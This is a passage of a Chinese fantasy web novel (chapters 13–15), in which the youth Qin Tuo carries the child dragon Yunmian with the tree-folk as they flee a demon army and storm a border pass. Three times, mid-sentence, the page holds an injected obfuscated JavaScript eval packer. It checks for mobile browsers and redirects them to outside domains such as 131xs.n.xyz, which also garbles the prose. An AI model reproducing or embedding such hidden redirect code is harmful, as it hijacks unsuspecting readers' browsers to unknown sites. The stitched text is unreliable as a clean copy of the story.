莘岳神情凝重:“按照秦拓的说法,魔军昨晚是同时进犯各族,他们怎么会有这么多人?” “对啊,想不通,这事太蹊跷。” “之前围攻夜阑那一场大战,魔军元气大伤。也就短短十来年,他们哪来这么多的魔众,连朱雀族和龙族都能攻破?” …… 秦拓突然想起什么:“对了,我先前在河边杀了一名魔物,去搬他尸体的时候,发现他竟然化作了泥人。” 所有目光看了过来,秦拓便将此事道出,莘岳脸色骤变:“这是捏土成兵之术,能以泥塑化作兵士。想不到夜谶的修为精进这么快,倒比上一任魔君夜阑更胜一筹。” 众人闻言顿时炸开了锅,一名年轻木客人惊得跳起来:“照这么说,只要这世上还有土,夜谶就能源源不断地造出魔兵?” 莘岳抬手示意众人安静,沉声道:“别慌,泥人终究是泥人,纵有千军万马,那也是无窍无性的泥巴。待到灵尊大人出关,他夜谶捏再多的泥人也没用。” 年轻木客人焦急道:“咱们灵界都到了这种地步,他老人家能不能提前出关?” 莘岳面色凝重地摇头:“灵尊闭关已有多年,如今他是什么情况,我也不清楚。” “家主,那我们现在怎么办?” 一名树人插嘴:“还能怎么办?我觉得这个林子就挺好,水源丰沛,灵气虽少却也够用。不如就在这里扎根,咬牙撑过这一阵,就算魔兵来烧林子,总不至于全族都被烧死,总要剩下一些,是不是?” 秦拓始终低垂着眼眸,听到这里,睫毛轻轻颤了颤。 莘岳开口:“如今灵界大乱,我木客族继续留在灵界,只有死路一条。”他顿了顿,握紧手中木杖,“走,必须走,立即动身去往人界暂避。等到无上神宫召集,我们再回灵界相助。” “去人界?”一名木客人失声叫道,“人界没有灵气,比咱们百族丘还不如。到了那边,我们怕是连维持人形都困难。” “对啊,何必辛苦迁徙?要实在不行,咱们再换个林子呗。” “荒唐!你们以为换林子就能保住性命?”莘岳斥道,“虽然人界没有灵气,但也同样没有魔气,魔军断不可能到达那里。即便我们维持不了人形,那么找个深山老林待着,也好过在灵界等死。” 提议留下的木客族人不敢再说什么,另外有人好奇地问:“家主,既然灵气和魔气都来自人界,为何反而人界却没有?” 莘岳道:“天地之道,重在平衡。若灵气魔气可在人界大肆使用,那人界凡人如何能抵挡魔灵?人族若亡,灵气魔气便如无根之木,终将枯竭。到时三界平衡崩毁,大家同归于尽。正因如此,人界反倒成了我们避祸的地方。” 木客族人纷纷点头,立刻四散开去收拾行装。 莘岳将目光转向一旁的秦拓,道:“叔父就跟着我们,我们定会竭力护他周全。但是你呢?你要跟着我们去人界吗?” 秦拓一听要去人界,心里便不情愿。可他没法单独离开,毕竟因为灵契,他必须带上云眠,而这群树精,绝不会让他们的祖爷爷跟着自己独自上路。 见秦拓蹙眉不语,莘岳又道:“你刚才说你要去弘沙地,但前路上都是魔军,各个卡口都被封住了,你很难平安到达。不如你先随我们前往人界,待到了那边,再从最接近弘沙地的关隘返回灵界,这样就可以最大限度地避开魔军。” “弘沙地位于人界的什么地方?”秦拓问道。 莘岳摸摸胡须:“位于人界的北地。我们正好也是要去那里,那儿也有一处关隘,过去便是无上神宫辖地,我们便可以既呆在人界,又能随时听候无上神宫的召唤。” 秦拓略一思忖,觉得这是个办法,便回道:“谢谢家主指点,那我就随着家主一起去人界。” 莘岳微微颔首,目光充满赞许:“云阿奶临终托孤,你小小年纪便应下承诺,带着叔父突出重围。这份侠义之心,实在令我等汗颜,只要老朽尚有一口气在,定当护你周全。” 秦拓叹了口气:“舅舅对我多年教诲,我将那些话都谨记于心。灵界各族同气连枝,我所做的不过是顺应本心,如果袖手旁观,以后定会良心难安。” 莘岳看向那些缩头缩脑的子侄:“听听,都听听。” 既然要去人界,大家赶紧收拾包袱行李。秦拓见莘岳也离开,正要唤回云眠,忽觉裤腿被人扯了扯。 他低头,看见是个五六岁的小树人,仰着脏兮兮的脸,朝他笑得见牙不见眼。 “做什么?”秦拓问道。 “嘿嘿嘿……”那小树人也不回答,只嘿嘿傻笑,就在秦拓想离开时,他才蹦出两个字,“娘子。” 秦拓愣了下,接着慢慢抱住双臂,挑起了眉。 “嘿嘿嘿嘿嘿……”小树人挠着自己头顶。 秦拓也看得好笑,正要逗弄小树人两句,却突然心念一动,抬头,果然看见云眠就站在不远处,一双眼睛偷偷往这边瞟。 对上秦拓的目光,云眠慌忙转开视线,一脸心虚地看向另一边。 秦拓眯起眼睛,就见云眠一会儿扯扯衣服,一会儿抠抠树干。最后终于泄了气,肩膀一垮,垂头丧气地耷拉着脑袋。 秦拓问那小树人:“你们方才玩什么了?” 小树人回道:“祖爷爷和我们玩角儿,他押了娘子,结果就把娘子输给我啦。” “行,你先去别处玩去。” 秦拓打发走小树人,走到云眠面前,蹲下,一言不发。 云眠别过脸不看他,但眼圈渐渐泛红,终于抽抽搭搭地哭了起来。 秦拓轻笑一声:“你把我输出去了,自己倒先哭上了?” 云眠抽噎着道:“我,我错了,我不想输了。” 秦拓往旁挪了两步,绕到他正面,依旧蹲着。见云眠又要别开脸,他突然沉下声音:“不准躲,看着我。” 云眠便不敢再动,只泪眼朦胧地看着他。 “既然你已经输了,你说该怎么办?”秦拓问。 “能,能不能后悔啊?我们走吧,我们不在这儿了。” “不能。”秦拓伸出一根手指晃了晃,“愿赌服输。” “可,可孙孙他们说,说可以用好东西把你赎回来的。”云眠小声嘟囔。 “哦?那你打算怎么赎?”秦拓问。 云眠胡乱抹了把泪:“你把金豆子给我,我去把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324561|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你赎回来。” 秦拓顿时笑出声:“你把我输了,还想用我祖传的金豆子来赎我?这是哪门子的道理?” 云眠张了张嘴,看着秦拓,小脸上满是挣扎。秦拓也不做声,只笑盈盈地看着他。 “那你把……给我吧。”云眠小声含混地道。 “什么?”秦拓侧过耳朵。 “……”云眠的声音更小了,几乎成了气音。 “大声些。”秦拓道。 “你把假发给我吧,我用假发去赎你。”云眠的声音还是像蚊子哼哼,但到底能听清了。 “不容易,真不容易。”秦拓摇头感叹,“还算你这小龙有点良心,不枉我背着你跑了那么多路。” 云眠虽然提出用假发换回秦拓,却如同被剜了心肝一般,闭着眼,那眼泪也成串地往下滚,一脸的痛不欲生。 “出息。”秦拓懒洋洋地站起身,朝着树丛抬了抬下巴:“去,捡几个松果儿来。” “做什么呀?”云眠哭着问。 “我做个小玩意儿,你拿去赎我。” 秦拓从树人那里借来一把小刀,坐在树桩上雕刻松果。云眠已止了哭,挨着他坐下,睫毛上沾着的泪还没干,却又伸出一根手指,戳了戳松果,喜滋滋地朝着秦拓笑:“果果哟。” 秦拓手里一下下雕着,嘴里道:“我帮了你这么大个忙,你也该帮我个忙才是。” “什么忙?”云眠头也不抬,只撅起嘴要去亲那松果。 “别凑过来,仔细割破嘴。”秦拓抬臂挡开他,又道,“往后别娘子娘子的唤我。” “为什么呀?”云眠不解地问。 “不好听。”秦拓瞥他一眼,“你唤我哥哥。” “不要。”云眠扭过头。 “那也不准再唤娘子。”秦拓压低声音,“尤其不能让旁人听见。等离开这儿,随你怎么唤。” “我不。”云眠撅起嘴。 秦拓作势起身:“那算了,我还是去给那小树人当娘子好了。” 云眠慌忙拉住他:“说得好好的,你动什么呀?你别动。” 他紧紧扯住秦拓衣角,秦拓便站在原地看着他。 云眠扯住人,却又不吭声,秦拓等了片刻,忽而转向另一侧,一边挥手,一边小声叫道:“夫君,夫君——” “好嘛好嘛。”云眠赶紧道,“我先不唤你娘子了嘛,你别喊他。” 秦拓这才收声,慢悠悠地坐下,撩起眼皮看着他:“那现在唤我一声。” “……”云眠嘴唇翕动。 “听不清。” “……” “大声些。” 云眠转了转眼珠,狡黠地道:“多多。” 秦拓轻啧一声,曲指弹了弹他头顶的小角:“行吧,多多就多多。” 秦拓动作利落,木客族人尚未收拾停当,他已经雕好了一个松果,让云眠拿去给那小树人。 云眠望向那几个小树人,看见小丫头也在,就攥着松果不过去。 秦拓顺着他目光看去,又看向云眠:“不想过去?” 云眠闷闷地道:“我不是泥巴包子。” 秦拓瞥了眼那小丫头,心下了然。 他拿过身旁的包袱,取出那顶假发给云眠戴上,系带时凑到他耳边小声道:“你戴着假发给她显摆去,去给她开开眼。” 云眠有些迟疑,秦拓又道:“去呀,怕什么?你就问她——”他指着自己脑袋,捏着嗓子,“见过这宝贝吗?哎,见过吗?没见过吧?土包子。” 14.第 14 章 秦拓正在收拾包袱,云眠便兴冲冲地回来了。 “赎好了?”秦拓手中动作未停。 云眠抿了抿唇,颊边浮起两个小酒窝:“赎好了,果果也给了他。” “真是可喜可贺。”秦拓道。 “我还把孙孙妹妹气得要哭了。”云眠得意地指了指头上假发。 “哟,小龙君真是手段了得。” 正说着,一名木客族人走了过来,手里捧着叠好的衣物,有些赧然地道:“叔公,眼下条件简陋,实在是备不出新衣,委屈您将就了,不过衣物都浆洗得很干净。” 云眠踮起脚尖,小心地抱过衣物:“谢谢孙孙。” 衣服是一大一小两套,秦拓穿上那套大的,他平常便是穿的粗布衣,倒也不觉什么。云眠却是头一遭穿这种粗布短褐,好奇地拽拽衣襟,又摸摸袖口,觉得很新鲜。 “这个衣服会嗦嗦响哦。”他很是惊喜地道。 又有一名木客族人走了过来,手里提着水囊和装了食物的布袋,将它们交给秦拓,对云眠歉然道:“叔公,这会儿没有精细的吃食,请您多担待。” 云眠又道:“谢谢孙孙。” 快要出发,有人将那些年纪太小的树人装进箩筐,用扁担挑上,莘成荫也担了箩筐过来,恭敬地道:“祖爷爷,可以暂且委屈一下,坐进这个箩筐吗?” “你不准担他。”旁边传来清亮的声音,那名小丫头叉着腰,对着莘成荫气呼呼地道,“你是我的成荫哥哥,不准对他那么好。” 云眠方才气了她一遭,此时便大度地不和她计较。秦拓却赶在莘成荫开口前截断话头:“不用麻烦你,我来背他就行。” 莘成荫挠挠自己的脑袋:“那我去给你找个背篼,多垫点软草,让祖爷爷坐得舒服些。” 莘成荫离开去寻背篼,那小丫头瞪了云眠一眼,也气鼓鼓地跑开了。云眠毫不在意,摸摸自己的衣服,对秦拓笑道:“孙孙都很好哦。”想了想,“孙孙妹妹要气哭了的时候也还是很好的。” 秦拓瞧瞧左右,见再没有木客族人过来,便在云眠身前蹲下,低声问道:“你觉得我好不好?” 云眠还在喜滋滋地瞧自己衣服,没有吱声。 秦拓便捏住他的下巴,抬起,让他看着自己,声音放得又轻又柔:“你觉得我今日对你好不好?” 云眠盯着他,一双眼珠又大又黑,依旧没有吱声,秦拓便提示:“你把我输给别人做娘子,我没有生气,也没有找你大吵大闹。我自己雕松果儿赎了自己,还帮你气了那小丫头。” 云眠迟疑了一下,像是在思索,接着很轻地点了下头。 秦拓脸上露出一丝满意,再往前挪了半步:“听着,过会儿我们要硬闯关隘去人界,怕是会有些难。若你那些孙孙侄儿要把我丢下,你绝不能答应。你说的话,他们会听。” 云眠这次没有犹豫,立即回道:“那我不会让他们丢下你。” “你记着就好。还有,若到了人界,大家不得不分开,他们要你随他们走,你也不能答应,必须要跟着我,哪怕他们待你千好万好也不行。我对你多好,是不是?咱们是拜过天地的两口子,任谁亲,都比不上我俩亲。” 云眠看着他,眨了眨眼睛。 “你这是什么意思?”秦拓问。 “嗯嗯。”云眠点了点头。 “这态度有点敷衍啊。”秦拓瞅着他,“你要是做得到,往后我日日都会这般待你好,也给你雕松果儿。” “嗯!嗯!”云眠这次的脑袋点得像鸡啄米。 秦拓并非信不过这些木客族人,只是他自幼独惯了,凡是皆靠自己,早已养成了谨慎多思的性子,也习惯提前想好种种变数,做好准备,方能心安。 更何况他之前对云眠又凶又吓,虽是因为心里有气,迁怒于他,但难保小孩心存芥蒂。若真遇变故,云眠去选择那些木客族人,却不愿意选择他,那就麻烦了。 如今云飞翼人也没了,他心头的怨气也消了,既然和云眠分不开,那也只得好好哄着他。 莘成荫很快拿来一个藤编背篓,里面铺着厚厚的软草。秦拓先把云眠抱进去,再将包袱塞进人和背篼的缝隙。 “把包袱看好了,这里面的金豆可不能丢。”待莘成荫离开后,秦拓对云眠道。 云眠抱紧包袱,郑重地道:“我知道的,这是娘子祖传的金豆。” 片刻后,大家收拾妥当,便出发去往玉门关隘。 天色渐暗,这支队伍穿行在密林里。三百多名木客族人,再加上几个依附同行的小族,零零总总竟有四百多人。 从这里到玉门关隘,平常只需要走上一两个时辰。但现在要躲避魔军,绕道而行,所以会慢上许多。 秦拓走在队伍中间,一只圆滚滚的棕熊幼崽突然从他们身旁窜过,毛色油光水滑。云眠好奇地探着头张望,那熊崽却猛地回头,出声道:“憨包。” 云眠听出这声音就是刚才那小丫头,惊得倒抽了口气。他张着嘴啊了一声,还没来得及回嘴,熊崽已经跑去了前方。 “那,那只小狗妹妹在骂我。”他指着熊崽给秦拓告状。 “那不是狗,是熊丫儿。”秦拓道。 云眠坐回背篼,半晌后,气咻咻地对秦拓道:“我不喜欢熊丫儿孙孙。” 走出一段后,云眠又瞧见了熊丫儿。她被卡进了一个树洞,只露出了个脑袋,莘成荫则蹲在树洞旁,将她使劲往外拽。 熊丫儿分明也瞧见了云眠,黑亮的眼睛有些惊慌,脑袋也往下埋。云眠喜出望外,伸手指着她,但还没来得及开口笑,熊丫儿便伶牙俐齿地道:“傻子才要人背。” 云眠的笑容僵在脸上,熊丫儿也被莘成荫拽出了树洞,抖抖身子,飞快地往前冲。 她跑出几步又猛地刹住,转回头,冲着云眠吐舌头,两只小爪子扒拉着眼皮,朝他做了个鬼脸。 熊丫儿扭过头,甩着圆屁股一溜烟跑远。云眠盯着那熊崽背影,后知后觉地反应过来,他好像是该朝她翻个白眼才对。 云眠错失机会,又气又悔,立即扭着身子要下地:“娘子,放我下去,我要下去追她。” 秦拓侧头看着自己肩:“你叫我什么?” “娘——多多。” 秦拓便停步,放下背篼。 云眠双足刚一沾地,立即甩开两条短腿,朝着前方飞奔。他见熊丫儿变成熊形后跑得飞快,心下一急,便也化作了小龙。 小龙四只爪子拼命倒腾,刨得林间落叶纷飞。但他看着几名木客族人自身旁从容走过,还有人低头冲他笑了笑,再猛刨了几下后,赶忙又变回了人形。 好在前方的熊丫儿也慢了下来,不时被路旁的野花飞虫吸引,东张西望。云眠趁机追近,对着她喊:“你看我,你看我,我好奇怪哟。” 他打算熊丫儿只要看他,就立马冲她翻个白眼。 “不看不看。”熊丫儿头也不回。 “呀……”云眠使出全身力气追了上去,边跑边喊,“看我嘛,你看我嘛。” “偏不看。” 熊丫儿加快脚步,将他甩在了身后。 云眠脚下一绊,摔倒在地。他这一下摔得有些结实,疼得哎哟叫出了声,却恰见熊丫儿听到动静后转头,当下也顾不得疼,趴在地上仰起脸,朝她甩了个大大的白眼。 眼见熊丫儿气呼呼地跑远,云眠翻过身,四仰八叉地躺在地上,看着天空满足地笑。但笑着笑着,觉得手肘和膝盖都疼,又瘪起嘴,开始呜呜地哭。 视野里出现了秦拓的脸,有些无奈地看着他,随即俯身,将他抱了起来。 云眠立即趴在秦拓肩上,哭得更委屈,秦拓侧过脸,低声道:“男儿有泪不轻弹,你已经大仇得报,这点小痛又算什么?” 云眠听他这么说,感觉好像的确也没那么痛,便渐渐收住了哭声。 秦拓抱着他往前走,他安静地趴在秦拓肩上,身体随着他的步伐微微晃动。 “你别怕,你是我娘子,你对我不好,我也不会丢下你的。要是没有了夫君的照拂,你以后可怎么办呀?”云眠突然声音极轻地开口。 秦拓脚步顿了一瞬,接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329057|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着继续往前。 每过一阵,莘岳便会来看云眠,嘘长问短,又对秦拓赞许地道:“你年纪不大,待小叔父却如此细致体贴,性情可真是仁厚。” “小孩嘛,需要兄长的呵护。”秦拓有些不好意思地道,“朱雀族里有很多小雀儿,晚辈待他们就有些太纵容了。舅舅经常说我,再这样下去,怕是要把他们惯坏了。” 莘岳又转头,对那些动辄呵斥小树人的子侄道:“听听,都听听。” 行进途中,不时会遇见已焚烧殆尽的村落,众人皆沉默地绕道而行。陆续也遇到零散幸存者,有狐族也有鹿族,其中还有名翅膀残缺的蝶族少女,脸色苍白,不时去摸自己脊背处的翅翼断口。 这些灵族听说他们要去往人界,也纷纷加入同行。 暮色渐沉,林间光线愈发昏暗,秦拓便有些瞧不清。好在前后都是人,只要循着脚步声就行。 他正走着,背上的背篼开始小幅度摇晃,响起云眠细细的哼唱声。 “小龙的鳞片闪呀闪,踩着云朵攀上天,采来星星串项链,摘下月亮当圆盘……” 秦拓知道他这是在犯困,便由着他去了。 “小龙的尾巴摇呀摇,偷喝仙露醉倒了,抱着彩虹当棉被,呼噜震落大蟠桃……” 细弱的哼唱声渐渐停下,背篼也没有再摇晃。不知是谁想了云飞翼,轻叹了口气:“云家老祖宗——” “嘘!”秦拓骤然转头,目光有些冷。 那名木客族人反应过来,看了眼背篼里的云眠,也就闭上了嘴。 半夜时分,这支队伍终于到达了玉门关隘。 玉门关隘作为两大关隘之一,修建在峭壁之间,是座中间悬空的堡垒。此时堡垒灯火明亮,上方有个缓缓旋转的灵气漩涡,那便是去往人界的界门。 玉门关隘以往由无上神宫镇守,城楼上总飘扬着一面银白旌旗。旗面当中一轮皓月银环,下方绣着数道星轨,分别象征着无上神宫和灵界各族。 此刻那面旗已不见,取而代之的,是一面黑底红纹的魔幡。 天空上盘旋着十来只罗刹鸟,四周魔气浓重,悬空堡垒的城墙上布满焦黑灼痕,夹杂着大片暗褐色,那是已经干涸的血迹。 众人隐在关隘前的林子里,瞧见这情况,知道城楼上之前经历过一场大战,有人便开始畏惧退缩。 “都别怕。”莘岳指着前方高处,“你们看,城楼上的魔兵并不多,定是他们没想到会有灵去往人界,便撤走大军,只留下了这点人手。我们要闯过去不难,但要快,不能再拖延。现在都吃点东西,吃饱后便闯关。” 众人或坐或站地掏出干粮开吃。未满周岁的幼童依旧躺在箩筐里酣睡,其余稍通人事的小孩都被一一唤醒,再叮嘱一番,免得等会儿闯关时,迷迷瞪瞪坏了事。 秦拓扶着云眠腋下,将人从背篓里拎出来,再抱在怀里。 他捏着云眠的下巴左右摇晃,云眠躺在他臂弯里,反而睡得更香。 “醒醒,吃饭了。”秦拓拿着一块玉米饼,递到他嘴边,“我知道你饿了,快闻一下,好香。” 云眠闭着眼抽了抽鼻子,再缓缓张嘴,就着秦拓的手咬上了玉米饼。 然后就保持着这个咬住饼的姿势,一动不动地定住。 “别睡了,快吃饼。”秦拓催促。 云眠终于有了动作,慢吞吞地咬下一块饼,但也不嚼,就包在嘴里,鼓着腮帮子又睡了过去。 秦拓抱着云眠环顾四周,见其他小树人也是一副不甚清醒的模样,便凑到云眠耳边道:“我们马上就要闯关了,等会儿不管发生什么,你都不要出声。你此刻不是小龙,而是一条冬眠的小蛇,明白吗?听见了就点点头。” 云眠闭着眼一动不动,嘴里包着那块饼。 秦拓低喝:“我知道你能听见,别装睡。” 云眠依旧闭着眼,却含混地嘟囔:“我是冬眠的小蛇,冬眠的小蛇都不会点头。” “行行行,那你就这样。”秦拓将云眠重新放进背篼,又提醒道,“把嘴里的饼咽下去了再冬眠。” 15.第 15 章 此时已是深夜,关隘附近一片平静,盘旋在天空上的罗刹鸟只剩下两只,其他都飞回了关隘歇息。 几缕青烟从林子里飘出,融入黑暗的天幕。片刻后,剩余的两只罗刹鸟便如同醉酒般,歪歪斜斜打着转儿,最终也支撑不住地掉头,飞进了关隘里。 “迷倒了吗?” 林子里,几棵幻月杉正缓缓渗出青色烟雾,树干上都浮现出五官。 “没有迷倒,它们飞回关隘了,不过看上去随时都能睡着。” “要是灵力充足,它们根本撑不住,早就栽了。” 秦拓站在莘岳身后,看着十来名树人悄悄钻出了林子。 那些树人潜行至峭壁底,转瞬间身形变幻,双手化作数条藤蔓,沿着陡峭的岩壁往上攀升。 秦拓从未将木客族这等小族放在眼里,此时不免暗暗心惊。这些树人平常没什么存在感,却既能施放迷烟惑敌,又可化身藤蔓攀岩走壁,实在是被他低估了。 待到满壁藤蔓都攀上山顶后,潜伏在林中的人立即开始行动,一个个悄无声息地冲了出去。 秦拓背着云眠跟在队伍里,刚到达岩壁之下,脚还未站稳,便被一条树藤卷住了腰,疾速升向上空。 也就短短瞬息,他双足已踏上实地,腰上的树藤松开。 他正立于关隘右侧的山峰之巅,脚下是一片平坦的空地,左侧下方便是那悬空而建的关隘。 岩壁上树藤翻飞,不断将地面的人卷上来又放下。这块空地上很快便站满了人,大家都屏息凝神,便是交谈,也尽量小声。 待到所有人都上来后,几名狐族前去探路,被树枝卷起,朝着关隘上慢慢滑降。 崖边已经站了好几个人,都在探头往下看。秦拓也走了过去,站在边上。云眠在他们升空时便已醒来,此时在背篓里动了动,跟着探出脑袋往下瞧。 下方城墙上便有一名魔兵,那几名狐族滑降到一半,便从山壁上猛扑下去,同时一根树枝也塞进了魔兵的嘴。 狐族利爪疾闪,那魔兵眼珠爆裂,脖子上喷出鲜血,却被堵得一声也发不出。 还没等他断气,又有树枝缠住他的腰,直接把他卷上了山顶。 砰! 被卷上来的魔兵就跌落在距云眠几步远的地方。 他像个血葫芦似的,脖颈处的裂口仍在汩汩冒着血泡,一张青白的脸狰狞扭曲,那眼睛位置也只有两个血洞。 云眠瞧见他那可怖模样,吓得倒抽一口气,伸手抱住了秦拓的脖子。 那魔兵的双脚又弹动了两下,这才彻底咽气。 云眠被吓得不轻。先前在路上时,秦拓便同他讲过人界是如何的有趣,他们也去玩上几日。他当时听得很是新鲜,可此刻看见这血糊糊的尸体,什么念头都没了,只想离开这些可怕的东西,离开这里。 他知道这时不能大声,便凑到秦拓耳旁,用气声急急地道:“娘子,这里好吓人,我们不在这儿了,走吧。” “走哪儿去?”秦拓满心思都在下方关隘上,心不在焉地问。 云眠道:“我们还是去炎煌山找爹娘,就不去人界玩了。” “等会儿再说,先看他们。”秦拓敷衍。 旁边忽然有人低呼:“你们看那魔兵的尸体。” 前一刻还鲜血淋漓的魔兵尸体,就在众人的注视下迅速萎缩,转眼化作一个巴掌大的泥人。 云眠得不到秦拓的认真回应,声音就愈发惶急:“娘子,娘子,多多,我们走吧,走啊,走啊,我们快走啊……” “别大惊小怪,秦拓之前就说过,他杀的魔兵也变成了泥人。”木客族人还在小声议论。 “多多,多多,我们走呀,快走呀……” 木客族人拿起泥人,翻来覆去地查看。秦拓盯着他手里的泥人,又去看下方关隘,只觉得云眠有些吵闹。 “多多,多多,走啊,好不好?好不好?……” 那催促越来越急,越来越响,云眠也在摇晃自己肩膀,他按捺不住地猛然侧头,压低声音厉喝:“吵什么?说了不能出声,再吵你就自己去炎煌山。” 云眠的声音顿时停下,只趴在秦拓肩上,怔怔看着他的侧脸,微微张着嘴。 关隘的灯火自下方映照而上,给少年的侧脸投下冷硬的光影。他眼中这几日的温和已经不见,只有沉沉厉色和不耐烦。 秦拓还想威吓两句,却见小孩突然就往背篼外爬。他稳住摇晃的背篼,压住怒气继续低声问:“你要做什么?” 云眠抿着嘴不发一言,继续往背篼外爬。秦拓瞥见另一个方向的老家主在往这边瞧,忙侧身挡开视线,快步走至一旁,放下背篼,将云眠抱了出来。 云眠在他怀里挣动起来,力气竟还不小。 秦拓箍紧他,知道此时不能节外生枝,也知道这小龙娇气得很,不是炎煌山那些皮实任吼的小雀儿,便努力压住心头窜起的燥气,也尽量让声音放得柔和些。 “怎么突然就闹起来了?方才在路上不是同你说得好好的?我们只去人界玩几天,之后定要去炎煌山的。” “我不好好的了,我自个儿去炎煌山。”云眠挣扎不脱,呼吸急促,脸也涨得通红。但他也没有大声,只带着哭腔小声说着。 “你自个儿去怎么行?你走了,我怎么办?你要丢下我不管了吗?” 秦拓又看了眼家主方向,继续低声哄:“其实从人界也能去炎煌山的,我们一路往北,从那里的关隘回到灵界,就到了炎煌山。要是从灵界赶路,一路上全是魔和罗刹婆婆,从人界走反而快得多。你以为我去人界只是为了玩儿?不正是让我们快点赶到炎煌山?” 他声音再放软几分,循循道:“你再这样闹着,惊动了那些魔,你这些侄侄孙孙怎么办?魔要是听见动静来了,岂不害了大家?” 云眠终于停下了挣扎,躺在他怀里,两颗黑眼珠就泡在泪水里,湿漉漉地望着他。 秦拓心头突然也很不是滋味。 但他没办法,他必须诓他,不能将云氏夫妇已然身亡的事告诉他。 他没有透露半个字,哪怕木客族人偶尔提及云飞翼,他也会立即阻止,怕被云眠听见。 “好不好?”秦拓又低声问,接着轻轻摇晃他,像他方才追问那般,只一连串问道,“夫君,好不好?好不好?好不好?” “……可是你刚才好凶。”云眠突然开口,声音很轻,颤颤的。 “是我错了。” “你再这样凶,我就不管你了,你再怎么怕,我也不管你。” “我知道了。”秦拓低声应道。 云眠终于没再反抗,紧绷的小身体慢慢放松,软软靠在他怀中。 秦拓这才不动声色地松了口气。 那几名探路的狐族,很快便带回来消息。 一名狐族男子拿着石子,在地上迅速画出地形图,显示这座关隘分为前后两重结构,通往人界的界门位于后隘中央。最后手指在地上轻点,标出了数个魔兵值岗的位置。 莘岳问道:“能否避开?” 狐族男子摇摇头。 “既然已经到了这里,那便再也没有退路。”莘岳一声下令,“出发。” 山壁下方的魔已经被清除,众人被树枝卷起,放在了关隘城墙地面上。 狐族弹出利爪,双眼泛着幽幽绿光。鹿族已经抽出弯刀,头顶生出了锋利的鹿角。树人们的手臂化作长藤,全身开始木质化,粗糙的树皮成为了铠甲。 秦拓背着背篼,也将黑刀紧握在手中。 队伍沿着城墙根部的阴影处悄然移动,云眠坐在背篼里,紧张地搂着秦拓脖子,只支起脑袋,警惕地左右张望。 他看见了双臂化为树枝的莘成荫,也看见了被他背着的熊丫儿。 熊丫儿此时是熊崽形态,龇着牙,两只爪子高举在圆脑袋上方。 云眠不甘落后,立即化为龙形,也想将爪子举过头顶。 小金龙两只短爪使劲往上伸,在脑袋旁僵了稍许,又恢复成人形,两条胳膊搭上了秦拓的肩。 城楼上,每隔一段距离便站着一名魔兵。此时夜深人静,魔兵们不想还会有灵攀上这座悬空关隘,都放松了警惕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16336759|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一名魔兵斜倚着墙垛,长枪靠在身侧,半闭眼打着呵欠,没察觉就在他的右侧,几条藤蔓正如活物般悄然蔓延。 一条藤蔓突然跃起,如蛇般缠上了他的脖颈,死死勒紧。另一条藤蔓则迅速缠上了他的身体,将手脚牢牢捆住,免得挣扎出动静。 魔兵倒地的瞬间,碰到了身旁长枪,第三条藤蔓倏地卷住枪杆,再轻轻放在地上,没有发出一丝声响。 “……这鬼地方闷死个人。”远处传来巡逻魔兵的声音,“这破界门有什么好守的?谁愿意往人界跑?明明可以跟着君上去打仗,却在这儿枯熬。” 队伍正前进着,一名巡逻的魔兵突然出现在拐弯处。他发现这群黑压压的人后,顿时呆住,但还未来得及做出反应,两道黑影便已经扑了上来。 扑扑两声闷响,魔兵慢慢往后仰倒。 两名鹿族人拔出插在他胸前的弯刀,继续向前潜行。几条树藤迅速游来,托住那具尸体,再将他拖到了隐蔽处。 一个接一个的魔兵被悄悄杀掉,后方队伍无声地跟上。云眠被秦拓背着往前走时,正好瞧见一具魔兵尸体被树藤拖走,地上擦出一条长长的血痕。 他盯着那具被拖行的尸体,直到他消失在角落里,这才浑身僵硬地收回视线。 他没有出声,秦拓却听见他急促的呼吸,头也不回地反过手,轻轻拍了下他脑袋,再将他头转向另一侧。 前方出现了一座铁索桥,桥的另一端连接着后隘城楼。城头之上悬浮着一个巨大的青色漩涡,漩涡中心流动着幽幽灵光。 桥上只有三名魔兵,正围聚在桥心,拿着一个酒壶轮流饮酒。刚才一路杀来,树人们胆子大了许多,不等家主下令,数条树藤已疾射而出。鹿族与狐族也相继扑出,利刃和尖爪刺了出去。 三具尸体被迅速拖走,莘岳抬手一挥,众人立即踏上了铁索桥。 但还没走出两步,后隘城墙旁的山峰上骤然炸开一声尖啸,那声音尖锐响亮,彷佛能刺穿人的耳膜。 桥上所有人都惊骇地望去,秦拓也跟着抬头,看见那城墙上空竟然飞着一只罗刹鸟。 这是被发现了。 数根树藤破空而出,缠住了罗刹鸟,其中一根直接捅入它的喙中,将那尖利鸣叫硬生生截断。 但终究还是迟了一步,前隘方向已响起脚步声和喝叫声,后隘界门处也出现了一队魔兵。 